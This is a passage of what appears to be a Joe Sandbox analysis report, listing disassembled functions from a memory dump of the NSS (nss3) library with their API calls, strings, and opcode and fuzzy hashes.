PR_Unlock.NSS3 ref: 6CAB4AD2

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 90fdcbbacf1b90a8892a20bc39ae10d8a0676ae46b342691742778fb8af1d798
Instruction ID: 6ad8e111f9b3f1384ce0e980b32d4d25d6109489f623d7093091ef54830b4836
Opcode Fuzzy Hash: 90fdcbbacf1b90a8892a20bc39ae10d8a0676ae46b342691742778fb8af1d798
Instruction Fuzzy Hash: 69315EB5A04A149FCB00EF78D48446ABBF4FF09354B058A69EC99E7711EB30E894CBD1

Function 6CAB4BA0 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CABA6A2,?,?,00000000), ref: 6CAB4BB9
EnterCriticalSection.KERNEL32 ref: 6CAB4BD2
TlsGetValue.KERNEL32 ref: 6CAB4BEF
EnterCriticalSection.KERNEL32 ref: 6CAB4C08
PL_HashTableLookup.NSS3 ref: 6CAB4C21
PR_Unlock.NSS3 ref: 6CAB4C2E
PR_Now.NSS3 ref: 6CAB4C3D
PR_Unlock.NSS3 ref: 6CAB4C62

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 6f821d6ac0f467ea4a30720638cf0378d9a96673d8a16c26d32770cfa3fd1c58
Instruction ID: 1b506446a5f493b9ff7021a93fe8a51f7c39e234b0e7cf6613f38877a48bc9a6
Opcode Fuzzy Hash: 6f821d6ac0f467ea4a30720638cf0378d9a96673d8a16c26d32770cfa3fd1c58
Instruction Fuzzy Hash: 193169B5A04A148FCB00EF78D08446ABBF4FF09754B058A69EC999B700EB30E894CBD1

Function 6CBA0860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CBA7AE2,?,?,?,?,?,?,6CBA798A), ref: 6CBA086C

Part of subcall function 6CBA0930: EnterCriticalSection.KERNEL32(?,00000000,?,6CBA0C83), ref: 6CBA094F
Part of subcall function 6CBA0930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CBA0C83), ref: 6CBA0974
Part of subcall function 6CBA0930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0983
Part of subcall function 6CBA0930: _PR_MD_UNLOCK.NSS3(?,?,6CBA0C83), ref: 6CBA099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CBA7AE2,?,?,?,?,?,?,6CBA798A), ref: 6CBA087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CBA7AE2,?,?,?,?,?,?,6CBA798A), ref: 6CBA0892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBA08AA
free.MOZGLUE(?,00000000,00000000,?,?,6CBA7AE2,?,?,?,?,?,?,6CBA798A), ref: 6CBA08C7
free.MOZGLUE(?,00000000,00000000,?,?,6CBA7AE2,?,?,?,?,?,?,6CBA798A), ref: 6CBA08E9
free.MOZGLUE(?,6CBA7AE2,?,?,?,?,?,?,6CBA798A), ref: 6CBA08EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CBA7AE2,?,?,?,?,?,?,6CBA798A), ref: 6CBA090E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 735b21ce179a6b785ac970e509f3fe8dc9ddd7a4720cae7a98fb2c9a465ffefc
Instruction ID: aa20af77105f6485f777f2980af9374a67294a16dfede8ea76d970f611529600
Opcode Fuzzy Hash: 735b21ce179a6b785ac970e509f3fe8dc9ddd7a4720cae7a98fb2c9a465ffefc
Instruction Fuzzy Hash: CA1190F1B062906BEF00AB99F84574E3778EB46759F1C0524E86687740DB32E825CBD6

Function 6CA14F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA14FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA151BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6CA151DF
misuse, xrefs: 6CA151AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA151A5
%s at line %d of [%.10s], xrefs: 6CA151B4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: e465f4b7a8a87c42f2e27a4a47d0eef6c1249100498bc8d58231c38935459cbf
Instruction ID: 4ed17cc63ea0b377d97e1d1d4d4be2a4b6cf73171d161873a45051bfd4350d27
Opcode Fuzzy Hash: e465f4b7a8a87c42f2e27a4a47d0eef6c1249100498bc8d58231c38935459cbf
Instruction Fuzzy Hash: F0719F7560820A9FDB01CE59CDC0B9A77B9BB48318F194524FD199BB41D335EC94CBA1

Function 6CA82D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CA82D69

Strings

winTruncate1, xrefs: 6CA82EBE
winTruncate2, xrefs: 6CA82EF8
winUnmapfile2, xrefs: 6CA82F7F
winUnmapfile1, xrefs: 6CA82F55
winSeekFile, xrefs: 6CA82E9C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 3b385300507b5bb9b987adfb16c34b6c731b609b32605be97e9827dc72024e8c
Instruction ID: 85e4661ee3128e567aa94ce918e6e4b3c4744f6c79da60748a7bf8bfe53b7a12
Opcode Fuzzy Hash: 3b385300507b5bb9b987adfb16c34b6c731b609b32605be97e9827dc72024e8c
Instruction Fuzzy Hash: 1761CD75B012049FDB44CF68DC94AAE7BB1FF49364F148228E9199BB80DB31AC46CB95

Function 6CB029E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6CB021DD,00000000), ref: 6CB02A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6CB021DD,00000002,00000000,00000000,?,?,6CB021DD,00000000), ref: 6CB02A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6CB021DD,00000000), ref: 6CB02A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB02AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CB02B0D
PK11_FreeSymKey.NSS3(?), ref: 6CB02B7B
PK11_FreeSymKey.NSS3(?), ref: 6CB02BD6

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: 51c9d0b3ed15ffdd980335f7be057a05b353962cd5b77d580b295eb64b135003
Instruction ID: 78d82700843da0bd6716eae302a46426f62bc422cf3840fae7172329b54e7b6d
Opcode Fuzzy Hash: 51c9d0b3ed15ffdd980335f7be057a05b353962cd5b77d580b295eb64b135003
Instruction Fuzzy Hash: D351B471F002459BEB108EA5DC85BAE7BA5EF4831CF150124ED195B791EB31E90DCB93

Function 6CAE8B60 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE8B93
PL_strncasecmp.NSS3(?,OID.,00000004), ref: 6CAE8BAA
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CAE8D28
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAE8D44
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAE8D72

Strings

OID., xrefs: 6CAE8BA4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CopyErrorItem_L_strncasecmpUtilmemcpystrlen
String ID: OID.
API String ID: 4247295491-3585844982
Opcode ID: 95cdf1aacc032ee4c46862bf1a8a9267301c4a559121461ce05fa8df39569fe7
Instruction ID: a89cd94710e4bcf8872b56f87994028f49484b6bdaad5da9a0217f809baede02
Opcode Fuzzy Hash: 95cdf1aacc032ee4c46862bf1a8a9267301c4a559121461ce05fa8df39569fe7
Instruction Fuzzy Hash: E75125B1F051288BCB21CA1CCC9079EB3A4EB9D358F0845AAE91ADBB41D3349DC5DBD4

Function 6CAA6980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA5DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA5DEC
Part of subcall function 6CAA5DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CAA5E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA69BA

Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CA99003,?), ref: 6CAEFD91
Part of subcall function 6CAEFD80: PORT_Alloc_Util.NSS3(A4686CAF,?), ref: 6CAEFDA2
Part of subcall function 6CAEFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CAF,?,?), ref: 6CAEFDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAA6A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA6AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA6ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA6AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA6AE9

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: 40025046a9c7859dc302ce18ca2a2bc4e8a82a0f7a4708f291695b9da488e793
Instruction ID: 1a64b2306d769bab6b4f720e0d3cdc5060688391c9dec7b231929ff5ac5ee2a9
Opcode Fuzzy Hash: 40025046a9c7859dc302ce18ca2a2bc4e8a82a0f7a4708f291695b9da488e793
Instruction Fuzzy Hash: F641A0716406049BEB10DFB8EC45B9B77F9BF44354F188428E86AC7740EF31E9568BA1

Function 6CAF89A0 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3 ref: 6CAF89DF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAF89EA
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAF8A04

Part of subcall function 6CAFBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CAF800A,00000000,?,00000000,?), ref: 6CAFBC3F

PK11_PBEKeyGen.NSS3(00000000,?,?,00000000,?), ref: 6CAF8A47
PK11_GetInternalKeySlot.NSS3 ref: 6CAF8A7E
PK11_PBEKeyGen.NSS3(00000000,?,00000000,00000000,?), ref: 6CAF8A96

Part of subcall function 6CADF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CADF854
Part of subcall function 6CADF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CADF868
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CADF882
Part of subcall function 6CADF820: free.MOZGLUE(04C483FF,?,?), ref: 6CADF889
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CADF8A4
Part of subcall function 6CADF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CADF8AB
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CADF8C9
Part of subcall function 6CADF820: free.MOZGLUE(280F10EC,?,?), ref: 6CADF8D0

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CAF8AD4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$K11_Util$CriticalDeleteItem_Section$CopyInternalSlot$AlgorithmTag_Zfree
String ID:
API String ID: 3389286309-0
Opcode ID: 0358242bb207b23114ab0c73413b40a61343831230ba21965b8d3be91372467b
Instruction ID: 300b7f24873fa01a678c4d73ae00d9777514ba1847dbd502f0ba97e64f592a7c
Opcode Fuzzy Hash: 0358242bb207b23114ab0c73413b40a61343831230ba21965b8d3be91372467b
Instruction Fuzzy Hash: 4B410B726003047FD701AE56DD41B6B7768EF45718F09402AFD2887742E732E99A87E3

Function 6CADAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CADAB3E,?,?,?), ref: 6CADAC35

Part of subcall function 6CABCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CABCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CADAB3E,?,?,?), ref: 6CADAC55

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CADAB3E,?,?), ref: 6CADAC70

Part of subcall function 6CABE300: TlsGetValue.KERNEL32 ref: 6CABE33C
Part of subcall function 6CABE300: EnterCriticalSection.KERNEL32(?), ref: 6CABE350
Part of subcall function 6CABE300: PR_Unlock.NSS3(?), ref: 6CABE5BC
Part of subcall function 6CABE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CABE5CA
Part of subcall function 6CABE300: TlsGetValue.KERNEL32 ref: 6CABE5F2
Part of subcall function 6CABE300: EnterCriticalSection.KERNEL32(?), ref: 6CABE606
Part of subcall function 6CABE300: PORT_Alloc_Util.NSS3(?), ref: 6CABE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CADAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CADAB3E), ref: 6CADACD7
PORT_Alloc_Util.NSS3(?), ref: 6CADAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CADAD2B

Part of subcall function 6CABF360: TlsGetValue.KERNEL32(00000000,?,6CADA904,?), ref: 6CABF38B
Part of subcall function 6CABF360: EnterCriticalSection.KERNEL32(?,?,?,6CADA904,?), ref: 6CABF3A0
Part of subcall function 6CABF360: PR_Unlock.NSS3(?,?,?,?,6CADA904,?), ref: 6CABF3D3

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 8c9c90c66808e55904f09157196f3c14cf11a435e3404b495098e9658773b6ad
Instruction ID: f35e64576498af9474e7da154f306291c714eaa4d8667b6e2d50cbd5c184a0c0
Opcode Fuzzy Hash: 8c9c90c66808e55904f09157196f3c14cf11a435e3404b495098e9658773b6ad
Instruction Fuzzy Hash: BF312BB5E006055FEB008F69DC409AF777BEF84728B1D8128E81557740EB31ED9587A1

Function 6CA92920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA9294E

Part of subcall function 6CAF1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CA91D97,?,?), ref: 6CAF1836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA9296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA92991

Part of subcall function 6CAF1820: PR_SetError.NSS3(FFFFE005,00000000,?,6CA91D97,?,?), ref: 6CAF184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA929AF
PR_Now.NSS3 ref: 6CA92A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA92A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA92A79

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 5d041dcd1bf784c6dcf1ac4cb5f9e09b2d1e1ae050940520736df3dea965c979
Instruction ID: be8914a46db1915e734830f6ec8ce1c5bc8bd20c4a40cb5e3cec17cc463240cc
Opcode Fuzzy Hash: 5d041dcd1bf784c6dcf1ac4cb5f9e09b2d1e1ae050940520736df3dea965c979
Instruction Fuzzy Hash: 7041C1B6A183559FC310CE28C941A5FF3E9ABD8714F094A2DF99893700E730E94D8BD2

Function 6CAB8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CAB8C7C

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB8CB0
